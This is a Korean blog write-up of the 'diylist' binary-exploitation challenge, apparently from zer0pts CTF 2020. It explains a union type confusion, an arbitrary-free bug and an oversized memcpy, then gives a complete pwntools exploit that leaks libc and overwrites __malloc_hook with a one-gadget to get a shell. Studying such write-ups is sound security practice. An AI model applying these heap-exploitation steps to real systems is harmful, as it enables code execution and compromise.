diylist.zip
8.9 kB

diylist라는 헤더파일을 직접 만들어서 list를 파이썬처럼 구현하겠다.. 하는 프로그램이다.

c파일이 주어져서 분석하기는 비교적 쉬웠다 분석만;.


Find the Vulnerability

main.c에는 취약점이 보이진 않았다. 아마 헤더파일에 취약점이 있을 것 같다.


1. Leak the address

//diylist.h
typedef union {
  char *p_char;
  long d_long;
  double d_double;
} Data;

union이라서 주소값과 그냥 값이 같은 메모리 상에 존재한다는 것이 굉장히 취약하다.


//main.c
void get(List *list)
{
  printf("Index: ");
  long index = read_long();

  printf("Type(long=%d/double=%d/str=%d): ", LIST_LONG, LIST_DOUBLE, LIST_STRING);

  switch(read_long()) {
  case LIST_LONG:
    printf("Data: %ld\n", list_get(list, index).d_long);
    break;

  case LIST_DOUBLE:
    printf("Data: %lf\n", list_get(list, index).d_double);
    break;

  case LIST_STRING:
    printf("Data: %s\n", list_get(list, index).p_char);
    break;

  default:
    puts("Invalid option");
    return;
  }
}

get 함수에서 LIST_STRING을 선택하면 p_char에 있는 값이 출력된다. d_long이나 d_double로 p_char의 값을 바꿔 원하는 주소에 있는 값을 leak할 수 있다.

2. Free anywhere

//diylist.c
void list_add(List* list, Data data, LIST_TYPE type)
{
  Data *p;

  /*
  중략
  */

  case LIST_STRING:
    list->data[list->size].p_char = strdup(data.p_char);
    /* Insert the address to free pool
       so that it'll be freed when the list is deleted */
    if (fpool_num < MAX_FREEPOOL) {
      fpool[fpool_num] = list->data[list->size].p_char;
      fpool_num++;
    }
    break;
  }
  list->size++;
}

void list_edit(List* list, int index, Data data, LIST_TYPE type)
{
    /*
    중략
    */

  case LIST_STRING:
    list->data[index].p_char = strdup(data.p_char);
    /* Insert the address to free pool */
    if (fpool_num < MAX_FREEPOOL) {
      fpool[fpool_num] = list->data[list->size].p_char;
      fpool_num++;
    }
}

get 함수와 edit 함수를 실행할 때, data[list->size]에 있는 값을 주소로 인식하여 fpool이라는 배열에 넣어준다.


//diylist.c
void list_del(List* list, int index)
{
  /*
  중략
  */

  /* Free data if it's in the pool list */
  for(i = 0; i < fpool_num; i++) {
    if (fpool[i] == data.p_char) {
      free(data.p_char);
      break;
    }
  }
}

del 함수에서 data의 값이 fpool에 적혀있다면 그 주소를 free시킨다.

원하는 주소를 free 시키려면, data[list->size]에 위치하고 있어야 한다. 하지만 long, double로 입력을 주면 fpool에 추가가 되지 않고, str로 입력을 한다면 그 할당된 주소가 free되며, 그 주소를 다시 바꾸려고 해도 이미 size가 1 증가하여 원하는 주소를 free시키지 못한다. 따라서 우리는 원하는 주소를 미리 list에 적어놓아야 한다.


3. strange memcpy

//diylist.c
void list_add(List* list, Data data, LIST_TYPE type)
{
  Data *p;

  if (list->size >= list->max) {
    /* Re-allocate a chunk if the list is full */
    Data *old = list->data;
    list->max += CHUNK_SIZE;

    list->data = (Data*)malloc(sizeof(Data) * list->max);
    if (list->data == NULL)
      __list_abort("Allocation error");

    if (old != NULL) {
      /* Copy and free the old chunk */
      memcpy((char*)list->data, (char*)old, sizeof(Data) * (list->max - 1));
      free(old);
    }
  }

만약에 list size가 max보다 크거나 같으면 list를 확장시키기 위해서 새로운 메모리를 할당해주고 이전 값을 복사해주는데, max-4 만큼 복사를 하는 것이 정상이지만 max-1 만큼 복사가 된다.


image

0xfe14b0에 있는 값은 그냥 str로 data를 생성한 것인데, list와 붙어있어서 memcpy할 때 같이 복사가 된다. 그러면 list에 적혀있는 값처럼 사용할 수 있게 된다. 물론 index check를 해서 말이다.


image

이런 식으로 list에 있게 되고 아직 0xfe1540에 실제로 값을 적진 않아서 data[list->size]는 현재 0xfe1540에 있는 값을 가리킨다. 여기서 edit 함수를 실행하면 0xfe1260이 free 된다.


4. UAF, change the size of chunk

list의 size 값만 크게 만들면 index check를 벗어나 우리가 원하는 주소에 long, double로 값을 적을 수 있다. fd의 값을 바꿀 수도 있어서 UAF가 가능하다.


Design the Payload

가장 기본적인 페이로드는 list를 free시켜서 list -> size를 크게 설정하여 index check를 벗어나고자 하였다.

위에서와 같은 방법으로 free시킬 수 있었다.

image


1st try : malloc hook -> onegadget -1

size가 0x70인 chunk를 미리 free 시키고, fd에 malloc hook의 (관련) 주소를 overwrite하면 될 것 같다. 하지만, 계획한 것인지 double로는 0x00007f...와 같은 작은 값을 쓸 수 없었고, long은 14자리까지 못 받았다. malloc hook 주소를 10진수로 변환하면 15자리다.. Fail.


2nd try : got overwrite

주소가 3바이트 밖에 되지 않는 got로 눈길을 돌렸고,

image

malloc이 가능해보이는 주소가 0x601ffd인데.. 0x602000부터 writable해서 되지 않는다. fail..


3rd try : malloc hook -> onegadget -2

malloc hook도 heap에 str로 미리 적어두고 fd로 그 chunk를 연결하자라는 생각이 들었다.

image

원래 0x170d578에 값은 0x21인데 long으로 0x71로 바꿨다. 그리고 이 chunk의 주소를 fd에 적으면,

image

다음과 같이 연결된다. 그래서 성공한 줄 알았는데, string은 strdup 이라는 함수를 이용하는 데 null 값을 받으면 종료가 된다. 0x00007f...에서 0x00을 입력하는 순간, string이 끊기고 따라서 0x70만큼 할당이 이뤄지지 않는다.. FAIL!


4th try

따라서 malloc hook만큼 딱 적어야 한다는 것인데, 그 주변에 적혀있는 값으로는 절대 불가능하다. -0x14b 위치에서 또 0x7f가 있긴 한데.. malloc hook 까지는 너무 멀다. 따라서 연쇄적으로 size가 다른 chunk를 할당해줘서 malloc hook까지 닿게 할 수 있지 않을까 생각하였다.

미리 필요한 size에 chunk를 free시키고 앞서 한 방법대로 chunk를 연결시킬 수는 있을 것 같았다.

결과적으로 0x70 할당하고, 0x90 할당하고 0x80 할당하면 malloc hook에 값을 적으면서 끝난다.

image


Exploit Code

사실 free시키고 쓰지 않은 chunk들이 있고 등등 더 간단하게 짤 수 있는데 offset이 바뀌어서 엄두가 안난다. 너무 삽질해서 푼 것 같은데.. dfb 방법도 결국 동일하지 않나 싶다.

from pwn import *

# Type(long=1/double=2/str=3)
def add(typ, payload):
    p.sendlineafter('> ', '1')
    p.sendlineafter('): ', str(typ))
    p.sendlineafter('Data: ', payload)

def get(idx, typ):
    p.sendlineafter('> ', '2')
    p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('):', str(typ))

def edit(idx, typ, payload):
    p.sendlineafter('> ', '3')
    p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('): ', str(typ))
    p.sendlineafter('Data: ', payload)

def delete(idx):
    p.sendlineafter('> ', '4')
    p.sendlineafter('Index: ', str(idx))

#p=process('./chall')
p=remote('18.179.178.246', 9007)

puts_got = 0x602018
puts_offset = 0x809c0
malloc_hook_offset = 0x3ebc30
onegadget_offset = 0x4f322

# 1. Leak the libc addr
add(1, str(puts_got)) # 0
get(0, 3)
p.recvuntil('Data: ')
puts_addr = u64(p.recv(6)+'\x00'*2)
libc_base = puts_addr - puts_offset
malloc_hook = libc_base + malloc_hook_offset
onegadget = libc_base+onegadget_offset
p.success('puts addr : '+hex(puts_addr))
p.success('malloc hook addr : '+hex(malloc_hook))
p.success('onegadget addr : '+hex(onegadget))

# 2. Leak the heap addr
edit(0, 3, 'A'*8)
get(0, 1)
p.recvuntil('Data: ')
heap_addr = int(p.recvline()[:-1])-0x50
p.success('heap addr : '+hex(heap_addr))

# 3. Free the chunk what we use
add(3, 'A'*0x70) # 1
delete(1)
add(3, 'A'*0x50) # 1
delete(1)
add(3, 'A'*0x30) # 1
delete(1)

# 3. Free 0x70, 0x90 chunk
for i in range(11):
    add(1, str(0xdeadbeef)) # 1~11
edit(1, 3, p64(heap_addr))  # overwrite heap_addr at index 14

add(1, str(0xdeadbeef))     # 12
add(1, str(0xdeadbeef))     # 13
edit(1, 3, 'A'*8)           # write heap_addr in fpool
add(1, str(heap_addr))      # 14

# 4. Write malloc hook addr in heap
edit(1, 3, p64(malloc_hook-0x14b))
edit(1, 3, 'A'*0x10)
edit(1, 3, 'A'*0x10)
edit(1, 3, 'A'*0x10)
edit(1, 3, p64(malloc_hook-0xe8))
edit(1, 3, 'A'*0x10)
edit(1, 3, 'A'*0x10)
edit(1, 3, 'A'*0x10)
edit(1, 3, 'A'*0x10)
edit(1, 3, p64(malloc_hook-0x68))

# 5. free the list and write 200 in list->size
delete(14)
add(3, p32(200))

# 6. malloc hook -> onegadget
edit(0x38, 1, str(heap_addr+0x320))
edit(0x5f, 1, str(0x71))
edit(1, 3, 'A'*0x60)
edit(1, 3, 'A'*0x60)
edit(1, 3, 'A'*0x5b+p64(0x91))

edit(0x4a, 1, str(heap_addr+0x3a0))
edit(0x6f, 1, str(0x91))
edit(1, 3, 'A'*0x7e)
edit(1, 3, 'A'*0x7e)
edit(1, 3, 'A'*0x78+'\x81')

edit(0xa, 1, str(heap_addr+0x440))
edit(0x83, 1, str(0x81))
edit(1, 3, 'A'*0x70)
edit(1, 3, 'A'*0x70)
edit(1, 3, 'A'*0x68+p64(onegadget))

# 7. Get the Flag!
add(3, 'A')

p.interactive()

Capture the Flag

image


'Writeup [pwn] > CTF 대회 기출' 카테고리의 다른 글

[zer0pts CTF 2020] babybof  (0) 2020.03.19
[zer0pts CTF 2020] protrude  (0) 2020.03.15
[zer0pts CTF 2020] hipwn  (0) 2020.03.11
DEFCON 2019 Speedrun-007  (0) 2020.03.07
DEFCON 2019 Speedrun-006  (0) 2020.03.07

+ Recent posts